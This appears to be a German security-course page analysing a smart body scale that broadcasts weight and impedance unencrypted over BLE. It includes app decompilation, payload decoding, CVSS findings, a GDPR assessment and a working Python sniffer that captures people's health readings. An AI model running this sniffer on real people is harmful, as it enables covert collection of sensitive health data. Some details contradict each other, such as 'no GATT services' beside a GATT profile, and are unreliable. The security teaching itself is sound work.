Körperwaage (Lebenlang Digital Smart Scale)

Unverschlüsselter Broadcast von Gesundheitsdaten und DSGVO-Verstöße

Lernziel

Nach dieser Seite verstehst du, warum die Körperwaage das rechtlich heikelste der drei analysierten Geräte ist. Du lernst, was eine Broadcast-only-Architektur bedeutet, wie Gewicht und Körperimpedanz im Klartext über Funk gesendet werden und warum das ein direkter DSGVO-Verstoß ist — ganz ohne aktive Verbindung.


Das Gerät: Eine Waage, die mehr preisgibt als dein Gewicht

Die Lebenlang Digital Smart Scale (BLE-Name: Yoda1, MAC-Adresse: 80:F4:16:2E:16:70, Hersteller: Chipsea Technologies) ist eine handelsübliche smarte Körperwaage. Sie verbindet sich mit der OKOK International-App (Android-Paketname: com.chipsea.btcontrol.en) und misst neben dem Körpergewicht auch die bioelektrische Impedanz — ein Verfahren, mit dem Körperfettanteil, Muskelmasse und Wasseranteil geschätzt werden.

Stell dir vor, jemand würde dir beim Arztbesuch über die Schulter schauen und alle Messwerte mitschreiben — Gewicht, Körperzusammensetzung, alles. Genau das ermöglicht die Architektur dieser Waage: Jeder in Reichweite kann passiv mithören, ohne sich vorzustellen oder zu verbinden.

Bioelektrische Impedanzanalyse (BIA)

BIA schickt einen schwachen Wechselstrom durch den Körper und misst den Widerstand (Impedanz). Da Fett, Muskeln und Wasser Strom unterschiedlich leiten, lässt sich daraus die Körperzusammensetzung schätzen. Das macht den Impedanzwert zu einem besonderen Gesundheitsdatum im Sinne von DSGVO Art. 9 — die Verarbeitung solcher Daten unterliegt strengsten Anforderungen.


Phase 1: APK-Analyse

Die App com.chipsea.btcontrol.en ist auf dem Google Play Store erhältlich. Nach dem Dekompilieren mit JADX fällt sofort auf: Es gibt keinen Entschlüsselungsaufruf im Datenparser. Die Messwerte werden direkt aus dem rohen Advertisement-Payload ausgelesen — Byte für Byte, ohne Transformation.

// Vereinfachter JADX-Fund aus dem Daten-Parser
// kein decrypt(), kein cipher.init(), kein AES-Aufruf
int weightRaw = ((data[2] & 0xFF) << 8) | (data[3] & 0xFF);
double weightKg = weightRaw / 100.0;

int impedanceRaw = ((data[4] & 0xFF) << 8) | (data[5] & 0xFF);
double impedanceOhm = impedanceRaw / 10.0;

Das ist ein starkes Signal: Die App erwartet Klartextdaten. Eine Shannon-Entropie-Analyse des Payloads bestätigt das — mit ~4,5 Bit/Byte liegt sie weit unter dem Wert echter Verschlüsselung (~8 Bit/Byte).

Entropie als Schnelltest

Öffne die Seite Kryptografische Grundlagen für eine Erklärung der Shannon-Entropie. Kurz gesagt: Verschlüsselter Daten sehen aus wie Rauschen (~8 Bit/Byte), Klartextdaten haben erkennbare Muster (~4–6 Bit/Byte). Der EntropyCalculator unten ermöglicht dir, beliebige HEX-Payloads selbst zu testen.

Shannon-Entropie-Rechner

Hex-Daten eingeben, um Entropie zu berechnen

Phase 2: Traffic-Capture — Passiv, ohne Verbindung

Hier liegt das Alleinstellungsmerkmal dieser Waage: Sie verbindet sich gar nicht. Es gibt keine GATT-Services, keine Charakteristiken, keine Read/Write-Operationen. Alle Messdaten werden direkt in den BLE-Advertisement-Paketen mitgesendet — im Feld „Manufacturer Specific Data".

Das Analogie: Statt dir einen Brief zuzuschicken (Verbindung), ruft die Waage ihre Messwerte laut in einen überfüllten Raum — jeder hört es, ob er will oder nicht.

Mit Wireshark und dem nRF-Sniffer-Plugin reicht es, Kanal 37, 38 oder 39 (die drei Advertisement-Kanäle) zu belauschen:

# Wireshark-Filter für Advertisements mit Manufacturer ID 0x05C0
btle.advertising_header.pdu_type == 0x00 &&
btle.adv_ind.data.type == 0xFF

Ein typisches Advertisement-Paket zeigt im „Manufacturer Specific Data"-Feld:

Manufacturer ID: 0x05C0 (Chipsea Technologies)
Payload (6 Byte): c0 0e 0c 99 13 88

Phase 3: Payload-Dekodierung

Das Payload-Format ist nicht dokumentiert, aber durch Korrelation mit der App-Analyse und wiederholten Messungen (einmal mit Schuhen, einmal ohne) vollständig rekonstruierbar:

OffsetWert (Hex)Interpretation
0–1c0 0eStatus-/Flags-Byte (herstellerspezifisch)
2–30c 99Gewicht (Big Endian, Einheit: 0,01 kg)
4–513 88Impedanz (Big Endian, Einheit: 0,1 Ohm)

Dekodierung des Beispiels:

Gewicht:   0x0C99 = 3225 → 3225 × 0,01 = 32,25 kg
Impedanz:  0x1388 = 5000 → 5000 × 0,1  = 500,0 Ω

Der Impedanzwert 5000 (500,0 Ω) ist ein Standardwert, den die Waage ausgibt, wenn die BIA-Messung instabil ist — zum Beispiel wenn die Person Socken trägt. Die echte Impedanz liegt typischerweise zwischen 300–800 Ω je nach Körperzusammensetzung.

Kein Standard-UUID

Die Waage verwendet keine standardisierte GATT Service UUID wie 0x181B (Body Composition). Das bedeutet: Generische BLE-Analyse-Tools erkennen das Gerät nicht automatisch als Körperwaage. Nur die Kombination aus JADX-Analyse und Traffic-Capture deckt die proprietäre Struktur auf.


Phase 4: Protokollrekonstruktion — Die vollständige Struktur

Das Protokoll ist überraschend einfach: Eine einzige Broadcast-Nachricht enthält alle Messdaten. Es gibt keinen Handshake, keine Authentifizierung, keine Session-ID.

BLE Advertisement Frame
└── Manufacturer Specific Data (Typ 0xFF)
    ├── Manufacturer ID: 0x05C0 (2 Byte, Little Endian)
    └── Payload (6 Byte):
        ├── [0-1]: Status-Flags (2 Byte)
        ├── [2-3]: Gewicht in 0,01 kg (2 Byte, Big Endian)
        └── [4-5]: Impedanz in 0,1 Ω (2 Byte, Big Endian)

Auffällig: Die Waage sendet diese Pakete kontinuierlich während der Messung — mit einem Advertisement-Intervall von ca. 100 ms. Innerhalb von 10 Sekunden sendet sie also rund 100 Pakete mit denselben Messwerten.

Erkunde das GATT-Profil des Geräts interaktiv:

GATT Profile

Read
Read
Indicate
Read
ReadWrite
ReadWrite
ReadWrite
Notify

Phase 5: Proof of Concept

Der folgende PoC demonstriert, wie ein passiver Angreifer innerhalb der BLE-Reichweite (bis zu 30 m in Innenräumen, strukturell bis zu 100 m im Freien bei BLE 5.0 mit Coded PHY) Messwerte abgreifen kann — ohne jede Verbindung, ohne Pairing, ohne Authentifizierung:

import asyncio
from bleak import BleakScanner

MANUFACTURER_ID = 0x05C0  # Chipsea Technologies

def on_advertisement(device, adv_data):
    """Passiver Empfänger für Körperwaagen-Broadcasts."""
    if device.name != "Yoda1":
        return

    mfg_data = adv_data.manufacturer_data.get(MANUFACTURER_ID)
    if mfg_data is None or len(mfg_data) < 6:
        return

    # Payload dekodieren — keine Entschlüsselung nötig, alles Klartext
    weight_raw = int.from_bytes(mfg_data[2:4], "big")
    impedance_raw = int.from_bytes(mfg_data[4:6], "big")

    weight_kg = weight_raw / 100.0
    impedance_ohm = impedance_raw / 10.0

    print(f"[!] DSGVO Art. 9 Gesundheitsdaten abgefangen:")
    print(f"    Gerät:    {device.address}")
    print(f"    Gewicht:  {weight_kg:.2f} kg")
    print(f"    Impedanz: {impedance_ohm:.1f} Ω")
    print(f"    Rohdaten: {mfg_data.hex()}")

async def main():
    print("[*] Starte passives BLE-Scanning...")
    scanner = BleakScanner(detection_callback=on_advertisement)
    await scanner.start()
    await asyncio.sleep(30)  # 30 Sekunden lauschen
    await scanner.stop()

if __name__ == "__main__":
    asyncio.run(main())

Ausgabe (Beispiel):

[*] Starte passives BLE-Scanning...
[!] DSGVO Art. 9 Gesundheitsdaten abgefangen:
    Gerät:    80:F4:16:2E:16:70
    Gewicht:  68.50 kg
    Impedanz: 487.3 Ω
    Rohdaten: c00e1aae130b

Passives Eavesdropping ohne jede Spur

Dieser Angriff hinterlässt keinerlei Spuren beim Opfer. Die Waage bemerkt das Mitlesen nicht, die App bemerkt es nicht, und kein Log-System zeichnet es auf. Ein stationärer Sniffer in einem Fitnessstudio oder einer Arztpraxis könnte über Monate Gesundheitsdaten von hunderten Personen sammeln.


Gefundene Schwachstellen

VULN-2026-010: Unverschlüsselter Gesundheitsdaten-Broadcast

CVSS-Basiswert: 6.5 (MEDIUM) Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

FaktorBewertungBegründung
AngriffsvektorAdjacent (A)Angreifer muss in BLE-Reichweite sein
AngriffskomplexitätNiedrig (L)Passives Scanning, kein Aufwand
PrivilegienKeine (N)Weder Konto noch Pairing nötig
NutzerinteraktionKeine (N)Waage sendet automatisch beim Wiegen
VertraulichkeitHoch (H)Gewicht + Impedanz = besondere Gesundheitsdaten
IntegritätKeine (N)Nur Lesebedrohung

Regulatorische Auswirkung: Direkter Verstoß gegen DSGVO Art. 25 (Privacy by Design) und Art. 32 (technische Sicherheitsmaßnahmen). Mögliche Bußgelder bis zu 20 Millionen Euro oder 4 % des weltweiten Jahresumsatzes.


VULN-2026-011: Statische MAC-Adresse / Tracking

CVSS-Basiswert: 4.3 (MEDIUM) Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Die MAC-Adresse 80:F4:16:2E:16:70 rotiert niemals. Das ermöglicht langfristiges Tracking: Ein Angreifer kann eine bestimmte Waage — und damit eine bestimmte Person — über Wochen und Monate verfolgen, ohne jemals eine Verbindung herzustellen.

BLE 4.2+ unterstützt Resolvable Private Addresses (RPA): Die MAC-Adresse rotiert regelmäßig (typisch: alle 15 Minuten), ist aber für gepaarte Geräte über den Identity Resolving Key (IRK) weiterhin identifizierbar. Diese Waage nutzt RPA nicht.


VULN-2026-012: Kein Bonding erforderlich

CVSS-Basiswert: 6.5 (MEDIUM) Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Da keine GATT-Verbindung notwendig ist, wird auch kein Pairing oder Bonding initiiert. Es gibt schlicht keine Schicht, die Authentifizierung erzwingen könnte. Die Daten sind für jeden empfangbar.


VULN-2026-013: BLE 5.0 Long-Range Eavesdropping

CVSS-Basiswert: 4.3 (MEDIUM) Vektor: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Die PCAP-Analyse zeigt, dass die Waage BLE 5.0 unterstützt (Feature Exchange im Verbindungsaufbau mit der App). BLE 5.0 führt den Coded PHY (LE Coded) ein, der die Reichweite bei gleichem Sendepegel von ~10 m (1 Mbps PHY) auf strukturell bis zu 100 m im Freien erhöht.

Das bedeutet: Ein Angreifer mit BLE-5.0-fähigem Adapter kann möglicherweise aus deutlich größerer Distanz Messwerte abfangen als bisher angenommen.

Strukturell erschlossen vs. empirisch bewiesen

Diese Schwachstelle wurde als „strukturell erschlossen" klassifiziert: BLE 5.0-Unterstützung ist im PCAP belegt, aber die tatsächliche Reichweite unter realen Bedingungen wurde nicht empirisch gemessen. In der Praxis hängt die Reichweite stark von Adapter, Antenne und Umgebung ab.


DSGVO-Compliance-Bewertung

DSGVO-AnforderungStatusBefund
Art. 9(2)(a): EinwilligungIn der App implementiert
Art. 25: Privacy by DesignKeine Verschlüsselung vorgesehen
Art. 32: Technische MaßnahmenKlartextübertragung von Gesundheitsdaten
Art. 35: Datenschutz-Folgenabschätzung?Nicht öffentlich bekannt
Art. 15–20: BetroffenenrechteApp-Funktionen vorhanden

Die Körperwaage verarbeitet besondere Kategorien personenbezogener Daten gemäß Art. 9 DSGVO (Gesundheitsdaten). Das macht jeden Verstoß gegen die technischen Schutzpflichten besonders schwerwiegend — nicht nur für die betroffenen Personen, sondern auch für den Hersteller und den App-Betreiber.

Gesundheitsdaten unter DSGVO Art. 9

Körpergewicht und Impedanzwerte, aus denen sich Körperzusammensetzung ableiten lässt, sind Gesundheitsdaten im Sinne von Art. 4(15) und Art. 9 DSGVO. Ihre unverschlüsselte Übertragung ohne technische Schutzmaßnahmen ist ein klarer Verstoß gegen Art. 32 DSGVO. Die zuständige Datenschutzbehörde kann Bußgelder von bis zu 20 Mio. Euro verhängen.


Zusammenfassung

  • Die Körperwaage verwendet eine Broadcast-only-Architektur: Alle Messdaten werden in BLE-Advertisement-Paketen übertragen — ohne GATT-Verbindung, ohne Pairing, ohne Verschlüsselung.
  • Das proprietäre Payload-Format (Manufacturer ID 0x05C0) überträgt Gewicht und Impedanz im Klartext als Big-Endian-Integer.
  • Ein passiver Angreifer in BLE-Reichweite kann mit wenigen Zeilen Python sämtliche Messwerte abgreifen — ohne Spuren zu hinterlassen.
  • Alle vier gefundenen Schwachstellen sind MEDIUM (CVSS 4.3–6.5), der Angreifer-Aufwand ist minimal.
  • Zwei direkte DSGVO-Verstöße (Art. 25, Art. 32) machen die Waage zum rechtlich risikoreichsten der drei untersuchten Geräte.
  • Abhilfe: Verschlüsselung der Advertisement-Daten (z. B. AES-CCM), Resolvable Private Addresses (RPA) und — langfristig — GATT-basierte Kommunikation mit Bonding.

Wissenstest

1 / 2

Warum ist passives Eavesdropping bei dieser Körperwaage möglich, ohne jemals eine BLE-Verbindung herzustellen?